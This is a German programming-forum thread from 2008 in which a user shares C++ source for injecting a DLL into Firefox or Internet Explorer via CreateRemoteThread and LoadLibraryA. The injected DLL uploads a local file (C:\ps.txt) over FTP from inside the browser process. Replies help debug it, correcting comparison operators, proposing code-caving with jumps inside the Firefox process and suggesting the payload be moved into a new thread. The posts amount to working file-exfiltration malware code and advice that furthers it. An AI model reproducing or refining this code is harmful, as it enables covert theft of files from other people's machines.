[C/C++] DLL Injection -> Prozess Freezt

Dieses Thema im Forum "Programmierung & Entwicklung" wurde erstellt von IronSnake, 15. September 2008 .

  1. 15. September 2008
    DLL Injection -> Prozess Freezt

    hallo,
    ich setze mich ja seit letzter Zeit mit dem ganzen Code Injection ablauf ausienander und habe berits fragen dazu gepostet gehabt im Board. Nun komme ich bei einer allerletzten Sache nicht mehr weiter.
    Und zwar möchte ich einen Prozess in den Browser (Firefox3) injecten, der halt ein simples Wininet Script enthällt. Leider funktioniert das ganze nicht so wie ich will... die DLL und das Injection Script sind soweit fertig, nur freezt halt immer die Anwendung in die ich die DLL injecte.

    Ich habe versucht in folgende Anwendungen zu injecten!
    - Firefox 3 - Run Modus: DLL wurde nur Teilweise abgearbeitet
    - Firefox 3 - Suspended Mode: DLL wurde garnicht bearbeitet
    - Internet Explorer 6 Run Modus: DLL wurde vollständig verarbeitet
    - Internet Exploter 6 Suspended Modus: DLL wurde nur Teilweise bearbeitet
    - Internet Explorer 7 Run Modus -> Browser freezt direkt
    - Internet Explorer 7 Suspended -> keine Reaktion

    Das Teilweise erläuter ich nun. Habe die DLL mit MessageBoxen versehen um zu sehen an welcher stelle das ganze stecken bleibt:

    Code:
    #define MAKE_DLL
    #define _WIN32_WINNT 0x500
    
    #include <windows.h>
    #include <wininet.h>
    #pragma comment(lib, "wininet.lib")
    
    extern "C" void __declspec(dllexport) Funktion()
    {
     MessageBoxA(NULL,"Funktion", "Start",MB_OK); 
    
     void *FFtpHandle;
     MessageBoxA(NULL,"Init FFtpHandle", "OK",MB_OK); 
    
     int FContext = 255;
     MessageBoxA(NULL,"Init FContex", "OK",MB_OK); 
    
     HINTERNET FINet = InternetOpenA("WININET1", 0, NULL, 0, 0);
     MessageBoxA(NULL,"Init FContex", "OK",MB_OK); 
    
     FFtpHandle = InternetConnectA(FINet, "127.0.0.1", 0, "admin", "admin", INTERNET_SERVICE_FTP, 0, FContext);
     MessageBoxA(NULL,"Init FFTHandle", "OK",MB_OK); 
    
     BOOL Transfer1 = FtpPutFileA(FFtpHandle, "C:\\ps.txt", "ps.txt", FTP_TRANSFER_TYPE_BINARY, 0);
     MessageBoxA(NULL,"Transfer", "OK",MB_OK); 
    
    }
    
    
    extern "C" int WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved )
    {
    switch( fdwReason )
    {
     case DLL_PROCESS_ATTACH: 
     Funktion();
     break;
     case DLL_PROCESS_DETACH: 
     break;
     }
     return TRUE;
    } 
    So zum Teilweise: Damit meine ich das die DLL immer bis zu der MessageBox mit dem Inhalt "Init Fcontex" bearbeitet wird. Sprich es bleibt an dieser Stelle hängen:

    FFtpHandle = InternetConnectA(FINet, "127.0.0.1", 0, "admin", "admin", INTERNET_SERVICE_FTP, 0, FContext);

    Habe die IP jetzt zum Schutz verändert)

    Im Inetrnet Explorer 6 Injectet wurde meine Datei hochgeladen.. seit dem Update auf 7 gehts net. Eigendlich hab ich aber vor das der Prozess in Firefox 3 injected wird.

    So sieht mein Injection Script aus:

    Code:
    #include <windows.h>
    #include <stdio.h>
    
    bool EnableDebugPrivilege()
    {
     TOKEN_PRIVILEGES priv;
     HANDLE hThis, hToken;
     LUID luid;
    
     hThis = GetCurrentProcess();
    
     OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
     LookupPrivilegeValue(0, "seDebugPrivilege", &luid);
    
     priv.PrivilegeCount = 1;
     priv.Privileges[0].Luid = luid;
     priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    
     AdjustTokenPrivileges(hToken, false, &priv, 0, 0, 0);
    
     CloseHandle(hToken);
     CloseHandle(hThis);
     return true;
    }
    
    int main()
    {
     EnableDebugPrivilege();
    
     HANDLE hProcess;
     DWORD hProcessID = 3608;
     LPVOID alloc;
     char lpDLL[] = "C:\\pring.dll";
     SIZE_T lpNumberOfBytesWritten;
     HANDLE hThread;
     LPDWORD lpThreadID = NULL;
     DWORD dwObj;
     hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, hProcessID);
     alloc = VirtualAllocEx(hProcess, NULL, 8096, MEM_COMMIT, PAGE_READWRITE);
    
     WriteProcessMemory(hProcess, alloc, lpDLL, 8096, &lpNumberOfBytesWritten);
     hThread = CreateRemoteThread(hProcess, NULL, 0,
     (LPTHREAD_START_ROUTINE) GetProcAddress(GetModuleHandle("kernel32.dll"),
     "LoadLibraryA"),
     (void *) alloc, 0, NULL);
     if (hProcess = NULL)
     printf("Fehler beim öffnen des Process!");
     if (alloc = NULL)
     printf("Alloc schlug fehl!");
     if (hThread = NULL)
     printf("Thread erstellung schlug fehl!");
     system("pause");
     
     dwObj = WaitForSingleObject(hThread, INFINITE);
     switch(dwObj)
     {
     case WAIT_ABANDONED:
     printf("WAIT_ABANDONED");
     break;
     case WAIT_OBJECT_0:
     printf("WAIT_OBJECT_0");
     break;
     case WAIT_TIMEOUT:
     printf("WAIT_TIMEOUT");
     break;
     case WAIT_FAILED:
     printf("WAIT_FAILED\n");
     printf("%d\n", GetLastError());
     }
     system("pause");
     VirtualFreeEx(hProcess, alloc, 0, MEM_RELEASE);
     CloseHandle(hThread);
     CloseHandle(hProcess);
     return 0;
    }
    Die PID passe ich natürlich immer an....

    Soooo jetzt hoffe ich mal hier uaf paar schlaue Köpfe im Board die mir evtl wieter helfen können. Ich weiß ehrlich gesagt nicht mehr weiter -.-
     
  2. 15. September 2008
    AW: DLL Injection -> Prozess Freezt

    Mir ist folgendes aufgefallen (warum springt da kein Compiler an?)

    Vergleiche musst du mit doppeltem Ist-Gleich machen!

    a == b


    Ansonsten ist es ja ne Zuweisung...

    Code:
     if (hProcess [COLOR="Red"]==[/COLOR] NULL)
     printf("Fehler beim öffnen des Process!");
     if (alloc [COLOR="Red"]==[/COLOR] NULL)
     printf("Alloc schlug fehl!");
     if (hThread [COLOR="Red"]==[/COLOR] NULL)
     printf("Thread erstellung schlug fehl!");
    
    Change this, and try again.
     
  3. 15. September 2008
    AW: DLL Injection -> Prozess Freezt

    ähm ne... seit dem VS 2008 Standard muss kein Doppeloperator verwendet werden bei IF Abfragen^^
     
  4. 15. September 2008
    AW: DLL Injection -> Prozess Freezt

    omg. Ein Rückschritt der Intelligenz von M$. Damit wird der Code allerdings schwieriger zu lesen. Aber das ist ein anderes Thema.

    Naja, dann kann ich dir aber keinen weiteren Tipp geben
     
  5. 15. September 2008
    AW: DLL Injection -> Prozess Freezt

    jojo .. und wie gesagt... der Code lies sich Problemlos ins laufende Internet Explorer 6 einschläusen. ab Inet Explorer 7 gehts net.. udn in Firefox auch nicht.
     
  6. 16. September 2008
    AW: DLL Injection -> Prozess Freezt

    Mach's aber trotzdem, sonst wird dir nur noch weniger geholfen weil du einfach einen dämlichen MS-Standard nutzt .

    Versuch mal folgendes:
    • Suche eine Stelle im Firefox Prozess wo genug Bytes für einen Jump da sind und eine Stelle wohin du springen kannst wo du genug Speicher für deine Operationen hast.
    • Springe dahin und schreib dann da deine Code hin und für ihn aus.
    • Springe wieder an die Stelle zurück, woher du auch kamst.
     
  7. 16. September 2008
    AW: DLL Injection -> Prozess Freezt

    Absoluter Schwachfug ^^
    MS erfindet zwar oft Zeug zu den Standards hinzu, aber das mit Sicherheit nicht

    probier folgendes:
    Code:
    #include <iostream>
    
    using namespace std;
    
    int main()
    {
     bool value = false;
    
     if (value = true)
     cout << "true" << endl;
    
     cin.get();
    }
    die bedienung is immer wahr, weil man an value ja den wert true zuweisen kann. du wirst also "true" als ausgabe kriegen, obwohl eigentlich nichts erscheinen sollte.. und wenn du in den projekteigenschaften das Warn-Level auf W4 schaltest, kriegst du auch folgende Ausgabe:

    du siehst, es ist nicht egal


    zum problem:
    starte mal Funktion() in nem neuen thread und rufs nich direkt aus. Ansonsten kanns auch sein, dass die MessageBox-Funktion blockiert, also verwende mal OutputDebugString und fang die Debug-Meldungen dann mit DbgView ab.
     
  8. Video Script

    Videos zum Themenbereich

    * gefundene Videos auf YouTube, anhand der Überschrift.